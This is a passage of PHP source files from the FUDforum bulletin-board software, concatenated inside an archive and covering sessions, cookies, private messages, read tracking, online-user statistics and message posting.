$GLOBALS['t'] = $_GET['t'] = d_thread_view; } else if ($GLOBALS['t'] === 1) { $GLOBALS['t'] = $_GET['t'] = t_thread_view; } /* Define theme path, may already be set by a plugin. */ defined('fud_theme') or define('fud_theme', 'theme/'. ($u->theme_name ? $u->theme_name : 'default') .'/'); /* Define _uid, which, will tell us if this is a 'real' user or not. */ define('__fud_real_user__', ($u->id != 1 ? $u->id : 0)); define('_uid', __fud_real_user__ && ($uo & 131072) && !($uo & 2097152) ? $u->id : 0); /* Allow user to set their own topics per page value, as long as it is smaller then the max. */ if (__fud_real_user__ && $GLOBALS['THREADS_PER_PAGE'] > $u->topics_per_page) { $GLOBALS['THREADS_PER_PAGE'] = (int) $u->topics_per_page; } $GLOBALS['sq'] = $sq; /* Define constants used to track URL sessions & referrals. */ if ($o1 & 128) { define('s', $u->ses_id); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'. s .'/'); } else { define('_rsid', 'rid='. __fud_real_user__ .'&S='. s); } } else { if ($o2 & 32768) { define('_rsid', s .'/'); } else { define('_rsid', 'S='. s); } } } else { define('s', ''); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'); } else { define('_rsid', 'rid='. __fud_real_user__); } } else { define('_rsid', ''); } } define('_rsidl', ($o2 & 32768 ? _rsid : str_replace('&', '&', _rsid))); return $u; } function user_register_forum_view($frm_id) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view)'); return; } if (!db_li('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .')', $ef)) { q('UPDATE fud30_forum_read SET last_view='. __request_timestamp__ .' WHERE forum_id='. $frm_id .' AND user_id='. _uid); } } function user_register_thread_view($thread_id, $tm=__request_timestamp__, $msg_id=0) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); return; } if (!db_li('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .')', $ef)) { q('UPDATE fud30_read SET last_view='. $tm .', msg_id='. $msg_id .' WHERE thread_id='. $thread_id .' AND user_id='. _uid); } } function user_set_post_count($uid) { $pd = db_saq('SELECT MAX(id), count(*) FROM fud30_msg WHERE poster_id='. $uid .' AND apr=1'); $level_id = (int) q_singleval(q_limit('SELECT id FROM fud30_level WHERE post_count <= '. $pd[1] .' ORDER BY post_count DESC', 1)); q('UPDATE fud30_users SET u_last_post_id='. (int)$pd[0] .', posted_msg_count='. (int)$pd[1] .', level_id='. $level_id .' WHERE id='. $uid); } function user_mark_all_read($id) { q('UPDATE fud30_users SET last_read='. __request_timestamp__ .' WHERE id='. $id); q('DELETE FROM fud30_read WHERE user_id='. $id); q('DELETE FROM fud30_forum_read WHERE user_id='. $id); } function user_mark_forum_read($id, $fid, $last_view) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .' ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); } else if (__dbtype__ == 'sqlite') { // SQLite optimization. q('REPLACE INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view); } else { // Other databases. if (!db_li('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view, $ef)) { q('UPDATE fud30_read SET user_id='. $id .', msg_id=t.last_post_id, last_view='. __request_timestamp__ .' FROM (SELECT id, last_post_id FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .') t WHERE user_id='. $id .' AND thread_id=t.id'); } } user_register_forum_view($fid); } function sq_check($post, &$sq, $uid=__fud_real_user__, $ses=s) { /* No sequence # check for anonymous users. */ if (!$uid) { return 1; } if ($post && isset($_POST['SQ'])) { $s = $_POST['SQ']; } else if (!$post && isset($_GET['SQ'])) { $s = $_GET['SQ']; } else { $s = 0; } if ($sq !== $s) { if ($GLOBALS['t'] == 'post' || $GLOBALS['t'] == 'ppost') { define('fud_bad_sq', 1); $sq = regen_sq($uid); return 1; } header('Location: [[relativeurl]]/index.php?S='. $ses); exit; } return 1; } function regen_sq($uid=__fud_real_user__) { $sq = md5(get_random_value(128)); q('UPDATE fud30_users SET sq=\''. $sq .'\' WHERE id='. $uid); return $sq; } // Initialize user session. if (isset($_SERVER['REMOTE_ADDR']) && !defined('no_session')) { $GLOBALS['usr'] = init_user(); } ?> PKl0]default/private.incnu[post_stamp = __request_timestamp__; $this->ip_addr = get_ip(); $this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? _esc(get_host($this->ip_addr)) : 'NULL'; if ($this->fldr != 1) { $this->read_stamp = $this->post_stamp; } if ($GLOBALS['FUD_OPT_3'] & 32768) { $this->foff = $this->length = -1; } else { list($this->foff, $this->length) = write_pmsg_body($this->body); } $this->id = db_qid('INSERT INTO fud30_pmsg ( ouser_id, duser_id, pdest, to_list, ip_addr, host_name, post_stamp, icon, fldr, subject, attach_cnt, read_stamp, ref_msg_id, foff, length, pmsg_opt ) VALUES( '. $this->ouser_id .', '. ($this->duser_id ? $this->duser_id : $this->ouser_id) .', '. (isset($GLOBALS['recv_user_id'][0]) ? (int)$GLOBALS['recv_user_id'][0] : '0') .', '. ssn($this->to_list) .', \''. $this->ip_addr .'\', '. $this->host_name .', '. $this->post_stamp .', '. ssn($this->icon) .', '. $this->fldr .', '. _esc($this->subject) .', '. (int)$this->attach_cnt .', '. $this->read_stamp .', '. ssn($this->ref_msg_id) .', '. (int)$this->foff .', '. (int)$this->length .', '. $this->pmsg_opt .' )'); if ($GLOBALS['FUD_OPT_3'] & 32768 && $this->body) { $fid = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc($this->body) .')'); q('UPDATE fud30_pmsg SET length='. $fid .' WHERE id='. $this->id); } if ($this->fldr == 3 && !$track) { $this->send_pmsg(); } } function send_pmsg() { $this->pmsg_opt |= 16|32; $this->pmsg_opt &= 16|32|1|2|4; foreach($GLOBALS['recv_user_id'] as $v) { $id = db_qid('INSERT INTO fud30_pmsg ( to_list, ouser_id, ip_addr, host_name, post_stamp, icon, fldr, subject, attach_cnt, foff, length, duser_id, ref_msg_id, pmsg_opt ) VALUES ( '. ssn($this->to_list).', '. $this->ouser_id .', \''. $this->ip_addr .'\', '. $this->host_name .', '. $this->post_stamp .', '. ssn($this->icon) .', 1, '. _esc($this->subject) .', '. (int)$this->attach_cnt .', '. $this->foff .', '. $this->length .', '. $v .', '. ssn($this->ref_msg_id) .', '. $this->pmsg_opt .')'); if ($GLOBALS['FUD_OPT_3'] & 32768 && $this->body) { $fid = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc($this->body) .')'); q('UPDATE fud30_pmsg SET length='. $fid .' WHERE id='. $id); } $GLOBALS['send_to_array'][] = array($v, $id); $um[$v] = $id; } $c = uq('SELECT id, email FROM fud30_users WHERE id IN('. implode(',', $GLOBALS['recv_user_id']) .') AND users_opt>=64 AND '. q_bitand('users_opt', 64) .' > 0'); $from = reverse_fmt($GLOBALS['usr']->alias); $subject = reverse_fmt($this->subject); while ($r = db_rowarr($c)) { /* Do not send notifications about messages sent to self. */ if ($r[0] == $this->ouser_id) { continue; } send_pm_notification($r[1], $um[$r[0]], $subject, $from); } unset($c); } function sync() { $this->post_stamp = __request_timestamp__; $this->ip_addr = get_ip(); $this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? _esc(get_host($this->ip_addr)) : 'NULL'; if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE if ($fid = q_singleval('SELECT length FROM fud30_pmsg WHERE id='. $this->id .' AND foff!=-1')) { q('DELETE FROM fud30_msg_store WHERE id='. $this->length); } $this->foff = $this->length = -1; } else { list($this->foff, $this->length) = write_pmsg_body($this->body); } q('UPDATE fud30_pmsg SET to_list='. ssn($this->to_list) .', icon='. ssn($this->icon) .', ouser_id='. $this->ouser_id .', duser_id='. $this->ouser_id .', post_stamp='. $this->post_stamp .', subject='. _esc($this->subject) .', ip_addr=\''. $this->ip_addr .'\', host_name='. $this->host_name .', attach_cnt='. (int)$this->attach_cnt .', fldr='. $this->fldr .', foff='. (int)$this->foff .', length='. (int)$this->length .', pmsg_opt='. $this->pmsg_opt .' WHERE id='. $this->id); if ($GLOBALS['FUD_OPT_3'] & 32768 && $this->body) { $fid = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc($this->body) .')'); q('UPDATE fud30_pmsg SET length='. $fid .' WHERE id='. $this->id); } if ($this->fldr == 3) { $this->send_pmsg(); } } } function write_pmsg_body($text) { if (($ll = !db_locked())) { db_lock('fud30_fl_pm WRITE'); } $fp = fopen($GLOBALS['MSG_STORE_DIR'] .'private', 'ab'); if (!$fp) { exit("FATAL ERROR: cannot open private message store
\n"); } fseek($fp, 0, SEEK_END); if (!($s = ftell($fp))) { $s = __ffilesize($fp); } if (($len = fwrite($fp, $text)) !== strlen($text)) { exit("FATAL ERROR: system has ran out of disk space
\n"); } fclose($fp); if ($ll) { db_unlock(); } if (!$s) { @chmod($GLOBALS['MSG_STORE_DIR'] .'private', ($GLOBALS['FUD_OPT_2'] & 8388608 ? 0600 : 0644)); } return array($s, $len); } function read_pmsg_body($offset, $length) { if ($length < 1) { return; } if ($GLOBALS['FUD_OPT_3'] & 32768 && $offset == -1) { return q_singleval('SELECT data FROM fud30_msg_store WHERE id='. $length); } $fp = fopen($GLOBALS['MSG_STORE_DIR'].'private', 'rb'); fseek($fp, $offset, SEEK_SET); $str = fread($fp, $length); fclose($fp); return $str; } function pmsg_move($mid, $fid, $validate) { if (!$validate && !q_singleval('SELECT id FROM fud30_pmsg WHERE duser_id='. _uid .' AND id='. $mid)) { return; } q('UPDATE fud30_pmsg SET fldr='. $fid .' WHERE duser_id='. _uid .' AND id='. $mid); } function pmsg_del($mid, $fldr=0) { if (!$fldr && !($fldr = q_singleval('SELECT fldr FROM fud30_pmsg WHERE duser_id='. _uid .' AND id='. $mid))) { return; } if ($fldr != 5) { pmsg_move($mid, 5, 0); } else { if ($GLOBALS['FUD_OPT_3'] & 32768 && ($fid = q_singleval('SELECT length FROM fud30_pmsg WHERE id='. $mid .' AND foff=-1'))) { q('DELETE FROM fud30_msg_store WHERE id='. $fid); } q('DELETE FROM fud30_pmsg WHERE id='.$mid); $c = uq('SELECT id FROM fud30_attach WHERE message_id='. $mid .' AND attach_opt=1'); while ($r = db_rowarr($c)) { @unlink($GLOBALS['FILE_STORE'] . $r[0] .'.atch'); } unset($c); q('DELETE FROM fud30_attach WHERE message_id='. $mid .' AND attach_opt=1'); } } function send_pm_notification($email, $pid, $subject, $from) { send_email($GLOBALS['NOTIFY_FROM'], $email, '['.$GLOBALS['FORUM_TITLE'].'] New Private Message Notification', 'You have a new private message titled "'.$subject.'", from "'.$from.'", in the forum "'.$GLOBALS['FORUM_TITLE'].'".\nTo view the message, click here: [[softurl]]/index.php?t=pmsg_view&id='.$pid.'\n\nTo stop future notifications, disable "Private Message Notification" in your profile.'); } ?> PKl0]k;!!default/cookies.incnu[ '. (__request_timestamp__ - $GLOBALS['SESSION_TIMEOUT']); } else { /* Unknown user, maybe a bot? */ // Auto login authorized bots. // To test: wget --user-agent="Googlebot 1.2" http://127.0.0.1:8080/forum $spider_session = 0; $my_ip = get_ip(); include $GLOBALS['FORUM_SETTINGS_PATH'] .'spider_cache'; foreach ($spider_cache as $spider_id => $spider) { if (preg_match('/'. $spider['useragent'] .'/i', $HTTP_USER_AGENT)) { if (empty($spider['bot_ip'])) { $spider_session = 1; // Agent matched, no IPs to check. break; } else { foreach (explode(',', $spider['bot_ip']) as $bot_ip) { if (!($bot_ip = trim($bot_ip))) { continue; } if (strpos($bot_ip, $my_ip) === 0) { $spider_session = 1; // Agent and an IP matched. break 2; } } } } } if ($spider_session) { if ($spider['bot_opts'] & 2) { // Access blocked. header('HTTP/1.1 403 Forbidden', true, 403); echo 'Go away!'; exit; } if ($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $spider['botname'] .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc($my_ip) .', '. _esc(substr($HTTP_USER_AGENT, 0, 64)) .', '. $spider['user_id'] .')', $ef, 1)) { $q_opt = 's.id='. $id; } else { $q_opt = 's.ses_id='. _esc($spider['botname']); } $GLOBALS['FUD_OPT_1'] ^= 128; // Disable URL sessions for user. } else { /* NeXuS: What is this? Return if user unknown? Function should return only after the query is run. */ //return; // Check sys_id, ip_addr and useragent for a possible match $q_opt = 's.sys_id= '._esc(ses_make_sysid()). ' AND s.ip_addr='._esc(get_ip()). ' AND s.useragent='._esc(substr($HTTP_USER_AGENT, 0, 64)); } } /* ENABLE_REFERRER_CHECK */ if ($GLOBALS['FUD_OPT_3'] & 4 && strncmp($HTTP_REFERER, $GLOBALS['WWW_ROOT'], strlen($GLOBALS['WWW_ROOT']))) { /* More checks, we need those because some proxies mangle referer field. */ $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; /* $p > 8 https:// or http:// */ if (($p = strpos($HTTP_REFERER, $host)) === false || $p > 8) { $q_opt .= ' AND s.user_id > 2000000000 '; // Different referrer, force anonymous. } } } else { $q_opt = 's.id='. $id; } $u = db_sab('SELECT s.id AS sid, s.ses_id, s.data, s.returnto, s.sys_id, t.id AS theme_id, t.lang, t.name AS theme_name, t.locale, t.theme, t.pspell_lang, t.theme_opt, u.alias, u.posts_ppg, u.time_zone, u.sig, u.last_visit, u.last_read, u.cat_collapse_status, u.users_opt, u.posted_msg_count, u.topics_per_page, u.ignore_list, u.buddy_list, u.id, u.group_leader_list, u.email, u.login, u.sq, u.ban_expiry, u.ban_reason, u.flag_cc FROM fud30_ses s INNER JOIN fud30_users u ON u.id=(CASE WHEN s.user_id>2000000000 THEN 1 ELSE s.user_id END) LEFT OUTER JOIN fud30_themes t ON t.id=u.theme WHERE '. $q_opt); /* Anon user, no session or login. */ if (!$u || $u->id == 1 || $id) { return $u; } if ($u->sys_id == ses_make_sysid()) { return $u; } else if ($GLOBALS['FUD_OPT_3'] & 16 || isset($url_session)) { /* URL sessions must validate sys_id check and SESSION_IP_CHECK must be disabled */ return; } /* Try doing a strict SQ match in last-ditch effort to make things 'work'. */ if (isset($_POST['SQ']) && $_POST['SQ'] == $u->sq) { return $u; } return; } /** Create an anonymous session. */ function ses_anon_make() { $HTTP_USER_AGENT = substr($_SERVER['HTTP_USER_AGENT'] ?? '', 0, 64); // Prevent forum scraping and brute force attacks. if ($GLOBALS['MAX_CALLS_FROM_IP'] > 0) { $ip_count = q_singleval('SELECT count(ip_addr) FROM fud30_ses WHERE ip_addr = '. _esc(get_ip())); if ($ip_count > $GLOBALS['MAX_CALLS_FROM_IP']) { header('HTTP/1.1 429 Too Many Requests', true, 429); echo 'Too Many Requests'; exit; } } do { $uid = 2000000000 + mt_rand(1, 147483647); $ses_id = md5($uid . __request_timestamp__ . getmypid()); } while (!($id = db_li('INSERT INTO fud30_ses (ses_id, time_sec, sys_id, ip_addr, useragent, user_id) VALUES (\''. $ses_id .'\', '. __request_timestamp__ .', '. _esc(ses_make_sysid()) .', '. _esc(get_ip()) .', '. _esc($HTTP_USER_AGENT) .', '. $uid .')', $ef, 1))); /* When we have an anon user, we set a special cookie allowing us to see who referred this user. */ if (isset($_GET['rid']) && !isset($_COOKIE['frm_referer_id']) && $GLOBALS['FUD_OPT_2'] & 8192) { setcookie($GLOBALS['COOKIE_NAME'] .'_referer_id', $_GET['rid'], __request_timestamp__+31536000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } else { setcookie($GLOBALS['COOKIE_NAME'], $ses_id, __request_timestamp__+$GLOBALS['COOKIE_TIMEOUT'], $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } return ses_get($id); } /** Update session status to indicate last known action. */ function ses_update_status($ses_id, $action=null, $forum_id=0, $ret='') { if (empty($ses_id)) { header('HTTP/1.1 400 Bad Request', true, 400); echo 'FATAL ERROR: No session, check your forum\'s URL and COOKIE settings.'; exit; } if (strlen($_SERVER['QUERY_STRING'] ?? '') > 255) { // Query string exceeds 'returnto' column length. header('HTTP/1.1 414 URI Too Long', true, 414); echo 'FATAL ERROR: QUERY_STRING too long!'; exit; } $sys_id = ses_make_sysid(); q('UPDATE fud30_ses SET sys_id=\''. $sys_id .'\', forum_id='. (int)$forum_id .', time_sec='. __request_timestamp__ .', action='. ($action ? _esc($action) : 'NULL') .', returnto='. (!is_int($ret) ? (isset($_SERVER['QUERY_STRING']) ? _esc($_SERVER['QUERY_STRING']) : 'NULL') : 'returnto') .' WHERE id='. $ses_id); } /** Save or clear a session variable. */ function ses_putvar($ses_id, $data) { $cond = is_int($ses_id) ? 'id='. (int)$ses_id : 'ses_id=\''. $ses_id .'\''; if (empty($data)) { q('UPDATE fud30_ses SET data=NULL WHERE '. $cond); } else { q('UPDATE fud30_ses SET data='. _esc(serialize($data)) .' WHERE '. $cond); } } /** Destroy a session. */ function ses_delete($ses_id) { // Delete all forum sessions. // Regardless of MULTI_HOST_LOGIN, all sessions will be terminated. q('DELETE FROM fud30_ses WHERE id='. (int)$ses_id); setcookie($GLOBALS['COOKIE_NAME'], '', __request_timestamp__-100000, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); return 1; } function ses_anonuser_auth($id, $error) { if (!empty($_POST)) { $_SERVER['QUERY_STRING'] = ''; } q('UPDATE fud30_ses SET data='. _esc(serialize($error)) .', returnto='. ssn($_SERVER['QUERY_STRING']) .' WHERE id='. $id); if ($GLOBALS['FUD_OPT_2'] & 32768) { // USE_PATH_INFO header('Location: [[relativeurl]]/index.php/l/'. _rsidl); } else { header('Location: [[relativeurl]]/index.php?t=login&'. _rsidl); } exit; } ?> PKl0]xϜdefault/logedin.incnu[last_user_id, $obj->user_count) = db_saq('SELECT MAX(id), count(*)-1 FROM fud30_users'); $obj->online_users_anon = q_singleval('SELECT count(*) FROM fud30_ses s WHERE time_sec>'. $tm_expire .' AND user_id>2000000000'); $obj->online_users_hidden = q_singleval('SELECT count(*) FROM fud30_ses s INNER JOIN fud30_users u ON u.id=s.user_id WHERE s.time_sec>'. $tm_expire .' AND '. q_bitand('u.users_opt', 32768) .'>0'); $obj->online_users_reg = q_singleval('SELECT count(*) FROM fud30_ses s INNER JOIN fud30_users u ON u.id=s.user_id WHERE s.time_sec>'. $tm_expire .' AND '. q_bitand('u.users_opt', 32768) .'=0'); $c = uq(q_limit('SELECT u.id, u.alias, u.users_opt, u.custom_color FROM fud30_ses s INNER JOIN fud30_users u ON u.id=s.user_id WHERE s.time_sec>'. $tm_expire .' AND '. q_bitand('u.users_opt', 32768) .'=0 ORDER BY s.time_sec DESC', $GLOBALS['MAX_LOGGEDIN_USERS'])); $obj->online_users_text = array(); while ($r = db_rowarr($c)) { $obj->online_users_text[$r[0]] = draw_user_link($r[1], $r[2], $r[3]); } unset($c); q('UPDATE fud30_stats_cache SET cache_age='. __request_timestamp__ .', last_user_id='. (int)$obj->last_user_id .', user_count='. (int)$obj->user_count .', online_users_anon='. (int)$obj->online_users_anon .', online_users_hidden='. (int)$obj->online_users_hidden .', online_users_reg='. (int)$obj->online_users_reg .', online_users_text='. ssn(serialize($obj->online_users_text))); $obj->last_user_alias = q_singleval('SELECT alias FROM fud30_users WHERE id='. $obj->last_user_id); $obj->last_msg_subject = q_singleval('SELECT subject FROM fud30_msg WHERE id='. $last_msg_id); list($obj->most_online,$obj->most_online_time) = db_saq('SELECT most_online, most_online_time FROM fud30_stats_cache'); /* Update most online users stats if needed. */ if (($obj->online_users_reg + $obj->online_users_hidden + $obj->online_users_anon) > $obj->most_online) { $obj->most_online = $obj->online_users_reg + $obj->online_users_hidden + $obj->online_users_anon; $obj->most_online_time = __request_timestamp__; q('UPDATE fud30_stats_cache SET most_online='. $obj->most_online .', most_online_time='. $obj->most_online_time); } else if (!$obj->most_online_time) { $obj->most_online_time = __request_timestamp__; } return $obj; } $logedin = $forum_info = ''; if ($FUD_OPT_1 & 1073741824 || $FUD_OPT_2 & 16) { if (!($st_obj = db_sab('SELECT sc.*, m.subject AS last_msg_subject, u.alias AS last_user_alias FROM fud30_stats_cache sc INNER JOIN fud30_users u ON u.id=sc.last_user_id LEFT JOIN fud30_msg m ON m.id='. $last_msg_id .' WHERE sc.cache_age>'. (__request_timestamp__ - $STATS_CACHE_AGE)))) { $st_obj = rebuild_stats_cache($last_msg_id); } else if ($st_obj->online_users_text && (_uid || !($FUD_OPT_3 & 262144))) { $st_obj->online_users_text = unserialize($st_obj->online_users_text); } if (!$st_obj->most_online_time) { $st_obj->most_online_time = __request_timestamp__; } if ($FUD_OPT_1 & 1073741824 && (_uid || !($FUD_OPT_3 & 262144))) { if (!empty($st_obj->online_users_text)) { foreach($st_obj->online_users_text as $k => $v) { $logedin .= ''.$v.' '; } } $logedin = ' Logged in users list '.(($FUD_OPT_1 & 536870912) ? ''.(_uid || !($FUD_OPT_3 & 131072) ? '[ User Activity ]' : '' ) .' '.(_uid || !($FUD_OPT_3 & 262144) ? '[ Today's Visitors ]' : '' ) .'' : '' ) .' There are '.convertPlural($st_obj->online_users_reg, array(''.$st_obj->online_users_reg.' member',''.$st_obj->online_users_reg.' members')).', '.convertPlural($st_obj->online_users_hidden, array(''.$st_obj->online_users_hidden.' invisible member',''.$st_obj->online_users_hidden.' invisible members')).' and '.convertPlural($st_obj->online_users_anon, array(''.$st_obj->online_users_anon.' guest',''.$st_obj->online_users_anon.' guests')).' visiting this board.    [Administrator]   [Moderator]
'.$logedin.' '; } if ($FUD_OPT_2 & 16) { $forum_info = ' Our users have posted a total of '.convertPlural($post_count, array(''.$post_count.' message',''.$post_count.' messages')).' inside '.convertPlural($thread_count, array(''.$thread_count.' topic',''.$thread_count.' topics')).'.
Most users ever online was '.$st_obj->most_online.' on '.print_date('%a, %d %B %Y %H:%M', $st_obj->most_online_time).'
We have '.$st_obj->user_count.' registered '.convertPlural($st_obj->user_count, array('user','users')).'.
The newest registered user is '.htmlspecialchars($st_obj->last_user_alias, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, null, false).' '.($last_msg_id ? '
Last message on the forum: '.htmlspecialchars($st_obj->last_msg_subject, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, null, false).'' : '' ) .' '; } } ?> PKl0]PP  default/draw_forum_path.incnu['.$cat_cache[$cid][1].''. $data; } while (($cid = $cat_par[$cid]) > 0); if ($fid) { $data .= ' » '.$fn.''; } else if ($fn) { $data .= ' » '.$fn.''; } return 'Home'.$data.($tn ? ' » '.$tn.'' : ''); } ?>PKl0]k k default/th_nav.incnu[ Previous Topic: '.$r[1].' '; } else { if ($r[3]) { /* Moved topic, let's try to find another, */ $nn = 1; continue; } $next = ' Next Topic: '.$r[1].' '; } } unset($c); if ($np) { $r = db_saq(q_limit('SELECT m.id, m.subject FROM fud30_tv_'. $frm_id .' tv INNER JOIN fud30_thread t ON tv.thread_id=t.id INNER JOIN fud30_msg m ON t.root_msg_id=m.id WHERE tv.seq IN('. ($id - 10) .', '. ($id - 2) .') ORDER BY tv.seq ASC', 1)); $prev = ' Previous Topic: '.$r[1].' '; } if ($nn) { $r = db_saq(q_limit('SELECT m.id, m.subject FROM fud30_tv_'. $frm_id .' tv INNER JOIN fud30_thread t ON tv.thread_id=t.id INNER JOIN fud30_msg m ON t.root_msg_id=m.id WHERE tv.seq IN('. ($id + 2) .', '. ($id + 10) .') ORDER BY tv.seq DESC', 1)); $next = ' Next Topic: '.$r[1].' '; } } ?>PKl0]gссdefault/imsg_edt.incnu[reply_to = $reply_to; $fd = db_saq('SELECT t.forum_id, f.message_threshold, f.forum_opt FROM fud30_msg m INNER JOIN fud30_thread t ON m.thread_id=t.id INNER JOIN fud30_forum f ON f.id=t.forum_id WHERE m.id='. $reply_to); } else { $fd = db_saq('SELECT t.forum_id, f.message_threshold, f.forum_opt FROM fud30_thread t INNER JOIN fud30_forum f ON f.id=t.forum_id WHERE t.id='. $th_id); } return $this->add($fd[0], $fd[1], $fd[2], $perm, $autoapprove); } function add($forum_id, $message_threshold, $forum_opt, $perm, $autoapprove=1, $msg_tdescr='') { if (!$this->post_stamp) { $this->post_stamp = __request_timestamp__; } if (!isset($this->ip_addr)) { $this->ip_addr = get_ip(); } $this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? _esc(get_host($this->ip_addr)) : 'NULL'; $this->thread_id = isset($this->thread_id) ? $this->thread_id : 0; $this->reply_to = isset($this->reply_to) ? $this->reply_to : 0; $this->subject = substr($this->subject, 0, 255); // Subject col is VARCHAR(255). if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE $file_id = $file_id_preview = $length_preview = 0; $offset = $offset_preview = -1; $length = strlen($this->body); } else { $file_id = write_body($this->body, $length, $offset, $forum_id); /* Determine if preview needs building. */ if ($message_threshold && $message_threshold < strlen($this->body)) { $thres_body = trim_html($this->body, $message_threshold); $file_id_preview = write_body($thres_body, $length_preview, $offset_preview, $forum_id); } else { $file_id_preview = $offset_preview = $length_preview = 0; } } /* Lookup country and flag. */ if ($GLOBALS['FUD_OPT_3'] & 524288) { // ENABLE_GEO_LOCATION. $flag = db_saq('SELECT cc, country FROM fud30_geoip WHERE '. sprintf('%u', ip2long($this->ip_addr)) .' BETWEEN ips AND ipe'); } if (empty($flag)) { $flag = array(null, null); } $this->id = db_qid('INSERT INTO fud30_msg ( thread_id, poster_id, reply_to, ip_addr, host_name, post_stamp, subject, attach_cnt, poll_id, icon, msg_opt, file_id, foff, length, file_id_preview, offset_preview, length_preview, mlist_msg_id, poll_cache, flag_cc, flag_country ) VALUES( '. $this->thread_id .', '. $this->poster_id .', '. (int)$this->reply_to .', \''. $this->ip_addr .'\', '. $this->host_name .', '. $this->post_stamp .', '. ssn($this->subject) .', '. (int)$this->attach_cnt .', '. (int)$this->poll_id .', '. ssn($this->icon) .', '. $this->msg_opt .', '. $file_id .', '. (int)$offset .', '. (int)$length .', '. $file_id_preview .', '. $offset_preview .', '. $length_preview .', '. ssn($this->mlist_msg_id) .', '. ssn(poll_cache_rebuild($this->poll_id)) .', '. ssn($flag[0]) .', '. ssn($flag[1]) .' )'); if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE $file_id = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc($this->body) .')'); if ($message_threshold && $length > $message_threshold) { $file_id_preview = db_qid('INSERT INTO fud30_msg_store (data) VALUES('. _esc(trim_html($this->body, $message_threshold)) .')'); } q('UPDATE fud30_msg SET file_id='. $file_id .', file_id_preview='. $file_id_preview .' WHERE id='. $this->id); } $thread_opt = (int) ($perm & 4096 && isset($_POST['thr_locked'])); if (!$this->thread_id) { /* New thread. */ if ($perm & 64) { if (isset($_POST['thr_ordertype'], $_POST['thr_orderexpiry']) && (int)$_POST['thr_ordertype']) { $thread_opt |= (int)$_POST['thr_ordertype']; $thr_orderexpiry = (int)$_POST['thr_orderexpiry']; } if (!empty($_POST['thr_always_on_top'])) { $thread_opt |= 8; } } $this->thread_id = th_add($this->id, $forum_id, $this->post_stamp, $thread_opt, (isset($thr_orderexpiry) ? $thr_orderexpiry : 0), 0, 0, 0, $msg_tdescr); q('UPDATE fud30_msg SET thread_id='. $this->thread_id .' WHERE id='. $this->id); } else { th_lock($this->thread_id, $thread_opt & 1); } if ($autoapprove && $forum_opt & 2) { $this->approve($this->id); } return $this->id; } function sync($id, $frm_id, $message_threshold, $perm, $msg_tdescr='') { $this->subject = substr($this->subject, 0, 255); // Subject col is VARCHAR(255). if ($GLOBALS['FUD_OPT_3'] & 32768) { // DB_MESSAGE_STORAGE $file_id = $file_id_preview = $length_preview = 0; $offset = $offset_preview = -1; $length = strlen($this->body); } else { $file_id = write_body($this->body, $length, $offset, $frm_id); /* Determine if preview needs building. */ if ($message_threshold && $message_threshold < strlen($this->body)) { $thres_body = trim_html($this->body, $message_threshold); $file_id_preview = write_body($thres_body, $length_preview, $offset_preview, $frm_id); } else { $file_id_preview = $offset_preview = $length_preview = 0; } } q('UPDATE fud30_msg SET file_id='. $file_id .', foff='. (int)$offset .', length='. (int)$length .', mlist_msg_id='. ssn($this->mlist_msg_id) .', file_id_preview='. $file_id_preview .', offset_preview='. $offset_preview .', length_preview='. $length_preview .', updated_by='. $id .', msg_opt='. $this->msg_opt .', attach_cnt='. (int)$this->attach_cnt .', poll_id='. (int)$this->poll_id .', update_stamp='. __request_timestamp__ .', icon='. 